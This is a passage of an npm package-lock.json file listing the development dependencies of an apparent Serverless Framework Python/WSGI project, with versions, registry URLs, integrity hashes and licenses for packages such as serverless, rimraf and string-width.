"sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", 1087 | "dev": true, 1088 | "license": "MIT", 1089 | "peer": true, 1090 | "engines": { 1091 | "node": ">= 0.6" 1092 | } 1093 | }, 1094 | "node_modules/mime-types": { 1095 | "version": "2.1.35", 1096 | "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", 1097 | "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", 1098 | "dev": true, 1099 | "license": "MIT", 1100 | "peer": true, 1101 | "dependencies": { 1102 | "mime-db": "1.52.0" 1103 | }, 1104 | "engines": { 1105 | "node": ">= 0.6" 1106 | } 1107 | }, 1108 | "node_modules/minimatch": { 1109 | "version": "9.0.5", 1110 | "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", 1111 | "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", 1112 | "dev": true, 1113 | "license": "ISC", 1114 | "peer": true, 1115 | "dependencies": { 1116 | "brace-expansion": "^2.0.1" 1117 | }, 1118 | "engines": { 1119 | "node": ">=16 || 14 >=14.17" 1120 | }, 1121 | "funding": { 1122 | "url": "https://github.com/sponsors/isaacs" 1123 | } 1124 | }, 1125 | "node_modules/minipass": { 1126 | "version": "7.1.2", 1127 | "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.2.tgz", 1128 | "integrity": "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==", 1129 | "dev": true, 1130 | "license": "ISC", 1131 | "peer": true, 1132 | "engines": { 1133 | "node": ">=16 || 14 >=14.17" 1134 | } 1135 | }, 1136 | "node_modules/next-tick": { 1137 | "version": "1.1.0", 1138 | "resolved": "https://registry.npmjs.org/next-tick/-/next-tick-1.1.0.tgz", 1139 | "integrity": "sha512-CXdUiJembsNjuToQvxayPZF9Vqht7hewsvy2sOWafLvi2awflj9mOC6bHIg50orX8IJvWKY9wYQ/zB2kogPslQ==", 1140 | "dev": true, 1141 | "license": "ISC" 1142 | }, 1143 | "node_modules/nice-try": { 1144 | "version": "1.0.5", 1145 | "resolved": "https://registry.npmjs.org/nice-try/-/nice-try-1.0.5.tgz", 1146 | "integrity": "sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==", 1147 | "dev": true, 1148 | "license": "MIT" 1149 | }, 1150 | "node_modules/once": { 1151 | "version": "1.4.0", 1152 | "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", 1153 | "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", 1154 | "dev": true, 1155 | "license": "ISC", 1156 | "dependencies": { 1157 | "wrappy": "1" 1158 | } 1159 | }, 1160 | "node_modules/p-limit": { 1161 | "version": "2.3.0", 1162 | "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", 1163 | "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", 1164 | "dev": true, 1165 | "license": "MIT", 1166 | "dependencies": { 1167 | "p-try": "^2.0.0" 1168 | }, 1169 | "engines": { 1170 | "node": ">=6" 1171 | }, 1172 | "funding": { 1173 | "url": "https://github.com/sponsors/sindresorhus" 1174 | } 1175 | }, 1176 | "node_modules/p-locate": { 1177 | "version": "4.1.0", 1178 | "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", 1179 | "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", 1180 | "dev": true, 1181 | "license": "MIT", 1182 | "dependencies": { 1183 | "p-limit": "^2.2.0" 1184 | }, 1185 | "engines": { 1186 | "node": ">=8" 1187 | } 1188 | }, 1189 | "node_modules/p-try": { 1190 | "version": "2.2.0", 1191 | "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", 1192 | "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", 1193 | "dev": true, 1194 | "license": "MIT", 1195 | "engines": { 1196 | "node": ">=6" 1197 | } 1198 | }, 1199 | "node_modules/package-json-from-dist": { 1200 | "version": "1.0.1", 1201 | "resolved": "https://registry.npmjs.org/package-json-from-dist/-/package-json-from-dist-1.0.1.tgz", 1202 | "integrity": "sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==", 1203 | "dev": true, 1204 | "license": "BlueOak-1.0.0", 1205 | "peer": true 1206 | }, 1207 | "node_modules/pako": { 1208 | "version": "1.0.11", 1209 | "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.11.tgz", 1210 | "integrity": "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==", 1211 | "dev": true, 1212 | "license": "(MIT AND Zlib)" 1213 | }, 1214 | "node_modules/path-exists": { 1215 | "version": "4.0.0", 1216 | "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", 1217 | "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", 1218 | "dev": true, 1219 | "license": "MIT", 1220 | "engines": { 1221 | "node": ">=8" 1222 | } 1223 | }, 1224 | "node_modules/path-is-absolute": { 1225 | "version": "1.0.1", 1226 | "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", 1227 | "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", 1228 | "dev": true, 1229 | "license": "MIT", 1230 | "engines": { 1231 | "node": ">=0.10.0" 1232 | } 1233 | }, 1234 | "node_modules/path-key": { 1235 | "version": "3.1.1", 1236 | "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", 1237 | "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", 1238 | "dev": true, 1239 | "license": "MIT", 1240 | "peer": true, 1241 | "engines": { 1242 | "node": ">=8" 1243 | } 1244 | }, 1245 | "node_modules/path-scurry": { 1246 | "version": "1.11.1", 1247 | "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-1.11.1.tgz", 1248 | "integrity": "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==", 1249 | "dev": true, 1250 | "license": "BlueOak-1.0.0", 1251 | "peer": true, 1252 | "dependencies": { 1253 | "lru-cache": "^10.2.0", 1254 | "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" 1255 | }, 1256 | "engines": { 1257 | "node": ">=16 || 14 >=14.18" 1258 | }, 1259 | "funding": { 1260 | "url": "https://github.com/sponsors/isaacs" 1261 | } 1262 | }, 1263 | "node_modules/process-nextick-args": { 1264 | "version": "2.0.1", 1265 | "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", 1266 | "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", 1267 | "dev": true, 1268 | "license": "MIT" 1269 | }, 1270 | "node_modules/process-utils": { 1271 | "version": "4.0.0", 1272 | "resolved": "https://registry.npmjs.org/process-utils/-/process-utils-4.0.0.tgz", 1273 | "integrity": "sha512-fMyMQbKCxX51YxR7YGCzPjLsU3yDzXFkP4oi1/Mt5Ixnk7GO/7uUTj8mrCHUwuvozWzI+V7QSJR9cZYnwNOZPg==", 1274 | "dev": true, 1275 | "license": "ISC", 1276 | "dependencies": { 1277 | "ext": "^1.4.0", 1278 | "fs2": "^0.3.9", 1279 | "memoizee": "^0.4.14", 1280 | "type": "^2.1.0" 1281 | }, 1282 | "engines": { 1283 | "node": ">=10.0" 1284 | } 1285 | }, 1286 | "node_modules/proxy-from-env": { 1287 | "version": "1.1.0", 1288 | "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz", 1289 | "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==", 1290 | "dev": true, 1291 | "license": "MIT", 1292 | "peer": true 1293 | }, 1294 | "node_modules/readable-stream": { 1295 | "version": "2.3.8", 1296 | "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", 1297 | "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", 1298 | "dev": true, 1299 | "license": "MIT", 1300 | "dependencies": { 1301 | "core-util-is": "~1.0.0", 1302 | "inherits": "~2.0.3", 1303 | "isarray": "~1.0.0", 1304 | "process-nextick-args": "~2.0.0", 1305 | "safe-buffer": "~5.1.1", 1306 | "string_decoder": "~1.1.1", 1307 | "util-deprecate": "~1.0.1" 1308 | } 1309 | }, 1310 | "node_modules/require-directory": { 1311 | "version": "2.1.1", 1312 | "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", 1313 | "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", 1314 | "dev": true, 1315 | "license": "MIT", 1316 | "engines": { 1317 | "node": ">=0.10.0" 1318 | } 1319 | }, 1320 | "node_modules/require-main-filename": { 1321 | "version": "2.0.0", 1322 | "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz", 1323 | "integrity": "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==", 1324 | "dev": true, 1325 | "license": "ISC" 1326 | }, 1327 | "node_modules/rimraf": { 1328 | "version": "5.0.10", 1329 | "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-5.0.10.tgz", 1330 | "integrity": "sha512-l0OE8wL34P4nJH/H2ffoaniAokM2qSmrtXHmlpvYr5AVVX8msAyW0l8NVJFDxlSK4u3Uh/f41cQheDVdnYijwQ==", 1331 | "dev": true, 1332 | "license": "ISC", 1333 | "peer": true, 1334 | "dependencies": { 1335 | "glob": "^10.3.7" 1336 | }, 1337 | "bin": { 1338 | "rimraf": "dist/esm/bin.mjs" 1339 | }, 1340 | "funding": { 1341 | "url": "https://github.com/sponsors/isaacs" 1342 | } 1343 | }, 1344 | "node_modules/safe-buffer": { 1345 | "version": "5.1.2", 1346 | "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", 1347 | "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", 1348 | "dev": true, 1349 | "license": "MIT" 1350 | }, 1351 | "node_modules/sax": { 1352 | "version": "1.4.1", 1353 | "resolved": "https://registry.npmjs.org/sax/-/sax-1.4.1.tgz", 1354 | "integrity": "sha512-+aWOz7yVScEGoKNd4PA10LZ8sk0A/z5+nXQG5giUO5rprX9jgYsTdov9qCchZiPIZezbZH+jRut8nPodFAX4Jg==", 1355 | "dev": true, 1356 | "license": "ISC", 1357 | "peer": true 1358 | }, 1359 | "node_modules/semver": { 1360 | "version": "7.6.3", 1361 | "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.3.tgz", 1362 | "integrity": "sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A==", 1363 | "dev": true, 1364 | "license": "ISC", 1365 | "bin": { 1366 | "semver": "bin/semver.js" 1367 | }, 1368 | "engines": { 1369 | "node": ">=10" 1370 | } 1371 | }, 1372 | "node_modules/serverless": { 1373 | "version": "4.4.18", 1374 | "resolved": "https://registry.npmjs.org/serverless/-/serverless-4.4.18.tgz", 1375 | "integrity": "sha512-d3LVphMT/rrZ9kLnUL9xrCRpR2L4k6irYDB/Stje1n9NEr/iGIKlEd4GxcZH4VBj7bO3XDaG7LvVDKmmXHGNBw==", 1376 | "dev": true, 1377 | "hasInstallScript": true, 1378 | "peer": true, 1379 | "dependencies": { 1380 | "axios": "^1.7.4", 1381 | "axios-proxy-builder": "^0.1.2", 1382 | "rimraf": "^5.0.5", 1383 | "xml2js": "0.6.2" 1384 | }, 1385 | "bin": { 1386 | "serverless": "run.js", 1387 | "sls": "run.js" 1388 | }, 1389 | "engines": { 1390 | "node": ">=18.0.0" 1391 | } 1392 | }, 1393 | "node_modules/serverless-python-requirements": { 1394 | "version": "6.1.1", 1395 | "resolved": "https://registry.npmjs.org/serverless-python-requirements/-/serverless-python-requirements-6.1.1.tgz", 1396 | "integrity": "sha512-SQsDKjoZXWvRJNsKL7NvHiMM+B6kG0a4RkVexhPCxId/rVMLVyz0UHg7v34kzaklfsXTQIkez+9x7HP3FwdRVQ==", 1397 | "dev": true, 1398 | "license": "MIT", 1399 | "dependencies": { 1400 | "@iarna/toml": "^2.2.5", 1401 | "appdirectory": "^0.1.0", 1402 | "bluebird": "^3.7.2", 1403 | "child-process-ext": "^2.1.1", 1404 | "fs-extra": "^10.1.0", 1405 | "glob-all": "^3.3.1", 1406 | "is-wsl": "^2.2.0", 1407 | "jszip": "^3.10.1", 1408 | "lodash.get": "^4.4.2", 1409 | "lodash.uniqby": "^4.7.0", 1410 | "lodash.values": "^4.3.0", 1411 | "rimraf": "^3.0.2", 1412 | "semver": "^7.6.0", 1413 | "set-value": "^4.1.0", 1414 | "sha256-file": "1.0.0", 1415 | "shell-quote": "^1.8.1" 1416 | }, 1417 | "engines": { 1418 | "node": ">=12.0" 1419 | }, 1420 | "peerDependencies": { 1421 | "serverless": ">=2.32" 1422 | } 1423 | }, 1424 | "node_modules/serverless-python-requirements/node_modules/brace-expansion": { 1425 | "version": "1.1.11", 1426 | "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", 1427 | "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", 1428 | "dev": true, 1429 | "license": "MIT", 1430 | "dependencies": { 1431 | "balanced-match": "^1.0.0", 1432 | "concat-map": "0.0.1" 1433 | } 1434 | }, 1435 | "node_modules/serverless-python-requirements/node_modules/glob": { 1436 | "version": "7.2.3", 1437 | "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", 1438 | "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", 1439 | "deprecated": "Glob versions prior to v9 are no longer supported", 1440 | "dev": true, 1441 | "license": "ISC", 1442 | "dependencies": { 1443 | "fs.realpath": "^1.0.0", 1444 | "inflight": "^1.0.4", 1445 | "inherits": "2", 1446 | "minimatch": "^3.1.1", 1447 | "once": "^1.3.0", 1448 | "path-is-absolute": "^1.0.0" 1449 | }, 1450 | "engines": { 1451 | "node": "*" 1452 | }, 1453 | "funding": { 1454 | "url": "https://github.com/sponsors/isaacs" 1455 | } 1456 | }, 1457 | "node_modules/serverless-python-requirements/node_modules/minimatch": { 1458 | "version": "3.1.2", 1459 | "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", 1460 | "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", 1461 | "dev": true, 1462 | "license": "ISC", 1463 | "dependencies": { 1464 | "brace-expansion": "^1.1.7" 1465 | }, 1466 | "engines": { 1467 | "node": "*" 1468 | } 1469 | }, 1470 | "node_modules/serverless-python-requirements/node_modules/rimraf": { 1471 | "version": "3.0.2", 1472 | "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", 1473 | "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", 1474 | "deprecated": "Rimraf versions prior to v4 are no longer supported", 1475 | "dev": true, 1476 | "license": "ISC", 1477 | "dependencies": { 1478 | "glob": "^7.1.3" 1479 | }, 1480 | "bin": { 1481 | "rimraf": "bin.js" 1482 | }, 1483 | "funding": { 1484 | "url": "https://github.com/sponsors/isaacs" 1485 | } 1486 | }, 1487 | "node_modules/serverless-wsgi": { 1488 | "version": "3.0.5", 1489 | "resolved": "https://registry.npmjs.org/serverless-wsgi/-/serverless-wsgi-3.0.5.tgz", 1490 | "integrity": "sha512-MEzOBvpcl6Svw7tnO1/0dDM8AFcLIlocKKGK+0efEvg/kmEsSG0sYzkuuMekUGSg61c6AO+TEi6oDMsiIvBkzA==", 1491 | "dev": true, 1492 | "license": "MIT", 1493 | "dependencies": { 1494 | "bluebird": "^3.7.2", 1495 | "command-exists": "^1.2.9", 1496 | "fs-extra": "^11.2.0", 1497 | "lodash": "^4.17.21", 1498 | "process-utils": "^4.0.0" 1499 | }, 1500 | "engines": { 1501 | "node": ">=10" 1502 | } 1503 | }, 1504 | "node_modules/serverless-wsgi/node_modules/fs-extra": { 1505 | "version": "11.2.0", 1506 | "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-11.2.0.tgz", 1507 | "integrity": "sha512-PmDi3uwK5nFuXh7XDTlVnS17xJS7vW36is2+w3xcv8SVxiB4NyATf4ctkVY5bkSjX0Y4nbvZCq1/EjtEyr9ktw==", 1508 | "dev": true, 1509 | "license": "MIT", 1510 | "dependencies": { 1511 | "graceful-fs": "^4.2.0", 1512 | "jsonfile": "^6.0.1", 1513 | "universalify": "^2.0.0" 1514 | }, 1515 | "engines": { 1516 | "node": ">=14.14" 1517 | } 1518 | }, 1519 | "node_modules/set-blocking": { 1520 | "version": "2.0.0", 1521 | "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", 1522 | "integrity": "sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==", 1523 | "dev": true, 1524 | "license": "ISC" 1525 | }, 1526 | "node_modules/set-value": { 1527 | "version": "4.1.0", 1528 | "resolved": "https://registry.npmjs.org/set-value/-/set-value-4.1.0.tgz", 1529 | "integrity": "sha512-zTEg4HL0RwVrqcWs3ztF+x1vkxfm0lP+MQQFPiMJTKVceBwEV0A569Ou8l9IYQG8jOZdMVI1hGsc0tmeD2o/Lw==", 1530 | "dev": true, 1531 | "funding": [ 1532 | "https://github.com/sponsors/jonschlinkert", 1533 | "https://paypal.me/jonathanschlinkert", 1534 | "https://jonschlinkert.dev/sponsor" 1535 | ], 1536 | "license": "MIT", 1537 | "dependencies": { 1538 | "is-plain-object": "^2.0.4", 1539 | "is-primitive": "^3.0.1" 1540 | }, 1541 | "engines": { 1542 | "node": ">=11.0" 1543 | } 1544 | }, 1545 | "node_modules/setimmediate": { 1546 | "version": "1.0.5", 1547 | "resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz", 1548 | "integrity": "sha512-MATJdZp8sLqDl/68LfQmbP8zKPLQNV6BIZoIgrscFDQ+RsvK/BxeDQOgyxKKoh0y/8h3BqVFnCqQ/gd+reiIXA==", 1549 | "dev": true, 1550 | "license": "MIT" 1551 | }, 1552 | "node_modules/sha256-file": { 1553 | "version": "1.0.0", 1554 | "resolved": "https://registry.npmjs.org/sha256-file/-/sha256-file-1.0.0.tgz", 1555 | "integrity": "sha512-nqf+g0veqgQAkDx0U2y2Tn2KWyADuuludZTw9A7J3D+61rKlIIl9V5TS4mfnwKuXZOH9B7fQyjYJ9pKRHIsAyg==", 1556 | "dev": true, 1557 | "license": "MIT" 1558 | }, 1559 | "node_modules/shebang-command": { 1560 | "version": "2.0.0", 1561 | "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", 1562 | "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", 1563 | "dev": true, 1564 | "license": "MIT", 1565 | "peer": true, 1566 | "dependencies": { 1567 | "shebang-regex": "^3.0.0" 1568 | }, 1569 | "engines": { 1570 | "node": ">=8" 1571 | } 1572 | }, 1573 | "node_modules/shebang-regex": { 1574 | "version": "3.0.0", 1575 | "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", 1576 | "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", 1577 | "dev": true, 1578 | "license": "MIT", 1579 | "peer": true, 1580 | "engines": { 1581 | "node": ">=8" 1582 | } 1583 | }, 1584 | "node_modules/shell-quote": { 1585 | "version": "1.8.2", 1586 | "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.2.tgz", 1587 | "integrity": "sha512-AzqKpGKjrj7EM6rKVQEPpB288oCfnrEIuyoT9cyF4nmGa7V8Zk6f7RRqYisX8X9m+Q7bd632aZW4ky7EhbQztA==", 1588 | "dev": true, 1589 | "license": "MIT", 1590 | "engines": { 1591 | "node": ">= 0.4" 1592 | }, 1593 | "funding": { 1594 | "url": "https://github.com/sponsors/ljharb" 1595 | } 1596 | }, 1597 | "node_modules/signal-exit": { 1598 | "version": "4.1.0", 1599 | "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", 1600 | "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", 1601 | "dev": true, 1602 | "license": "ISC", 1603 | "peer": true, 1604 | "engines": { 1605 | "node": ">=14" 1606 | }, 1607 | "funding": { 1608 | "url": "https://github.com/sponsors/isaacs" 1609 | } 1610 | }, 1611 | "node_modules/split2": { 1612 | "version": "3.2.2", 1613 | "resolved": "https://registry.npmjs.org/split2/-/split2-3.2.2.tgz", 1614 | "integrity": "sha512-9NThjpgZnifTkJpzTZ7Eue85S49QwpNhZTq6GRJwObb6jnLFNGB7Qm73V5HewTROPyxD0C29xqmaI68bQtV+hg==", 1615 | "dev": true, 1616 | "license": "ISC", 1617 | "dependencies": { 1618 | "readable-stream": "^3.0.0" 1619 | } 1620 | }, 1621 | "node_modules/split2/node_modules/readable-stream": { 1622 | "version": "3.6.2", 1623 | "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", 1624 | "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", 1625 | "dev": true, 1626 | "license": "MIT", 1627 | "dependencies": { 1628 | "inherits": "^2.0.3", 1629 | "string_decoder": "^1.1.1", 1630 | "util-deprecate": "^1.0.1" 1631 | }, 1632 | "engines": { 1633 | "node": ">= 6" 1634 | } 1635 | }, 1636 | "node_modules/sprintf-kit": { 1637 | "version": "2.0.2", 1638 | "resolved": "https://registry.npmjs.org/sprintf-kit/-/sprintf-kit-2.0.2.tgz", 1639 | "integrity": "sha512-lnapdj6W4LflHZGKvl9eVkz5YF0xaTrqpRWVA4cNVOTedwqifIP8ooGImldzT/4IAN5KXFQAyXTdLidYVQdyag==", 1640 | "dev": true, 1641 | "license": "ISC", 1642 | "dependencies": { 1643 | "es5-ext": "^0.10.64" 1644 | }, 1645 | "engines": { 1646 | "node": ">=0.12" 1647 | } 1648 | }, 1649 | "node_modules/stream-promise": { 1650 | "version": "3.2.0", 1651 | "resolved": "https://registry.npmjs.org/stream-promise/-/stream-promise-3.2.0.tgz", 1652 | "integrity": "sha512-P+7muTGs2C8yRcgJw/PPt61q7O517tDHiwYEzMWo1GSBCcZedUMT/clz7vUNsSxFphIlJ6QUL4GexQKlfJoVtA==", 1653 | "dev": true, 1654 | "license": "ISC", 1655 | "dependencies": { 1656 | "2-thenable": "^1.0.0", 1657 | "es5-ext": "^0.10.49", 1658 | "is-stream": "^1.1.0" 1659 | } 1660 | }, 1661 | "node_modules/string_decoder": { 1662 | "version": "1.1.1", 1663 | "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", 1664 | "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", 1665 | "dev": true, 1666 | "license": "MIT", 1667 | "dependencies": { 1668 | "safe-buffer": "~5.1.0" 1669 | } 1670 | }, 1671 | "node_modules/string-width": { 1672 | "version": "5.1.2", 1673 | "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz", 1674 | "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==", 1675 | "dev": true, 1676 | "license": "MIT", 1677 | "peer": true, 1678 | "dependencies": { 1679 | "eastasianwidth": "^0.2.0", 1680 | "emoji-regex": "^9.2.2", 1681 | "strip-ansi": "^7.0.1" 1682 | }, 1683 | "engines": { 1684 | "node": ">=12" 1685 | }, 1686 | "funding": { 1687 | "url": "https://github.com/sponsors/sindresorhus" 1688 | } 1689 | }, 1690 | "node_modules/string-width-cjs": { 1691 | "name": "string-width", 1692 | "version": "4.2.3", 1693 | "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", 1694 | "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", 1695 | "dev": true, 1696 | "license": "MIT", 1697 | "peer": true, 1698 | "dependencies": { 1699 | "emoji-regex": "^8.0.0", 1700 | "is-fullwidth-code-point": "^3.0.0", 1701 | "strip-ansi": "^6.0.1" 1702 | }, 1703 | "engines": { 1704 | "node": ">=8" 1705 | } 1706 | }, 1707 | "node_modules/string-width-cjs/node_modules/ansi-regex": { 1708 | "version": "5.0.1", 1709 | "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", 1710 | "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", 1711 | "dev": true, 1712 | "license": "MIT", 1713 | "peer": true, 1714 | "engines": { 1715 | "node": ">=8" 1716 | } 1717 | }, 1718 | "node_modules/string-width-cjs/node_modules/emoji-regex": { 1719 | "version": "8.0.0", 1720 | "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", 1721 | "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", 1722 | "dev": true, 1723 | "license": "MIT", 1724 | "peer": true 1725 | }, 1726 | "node_modules/string-width-cjs/node_modules/strip-ansi": { 1727 | "version": "6.0.1", 1728 | "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", 1729 | "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", 1730 | "dev": true, 1731 | "license": "MIT", 1732 | "peer": true, 1733 | "dependencies": { 1734 | "ansi-regex": "^5.0.1" 1735 | }, 1736 | "engines": { 1737 | "node": ">=8" 1738 | } 1739 | }, 1740 | "node_modules/strip-ansi": { 1741 | "version": "7.1.0", 1742 | "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz", 1743 | "integrity": 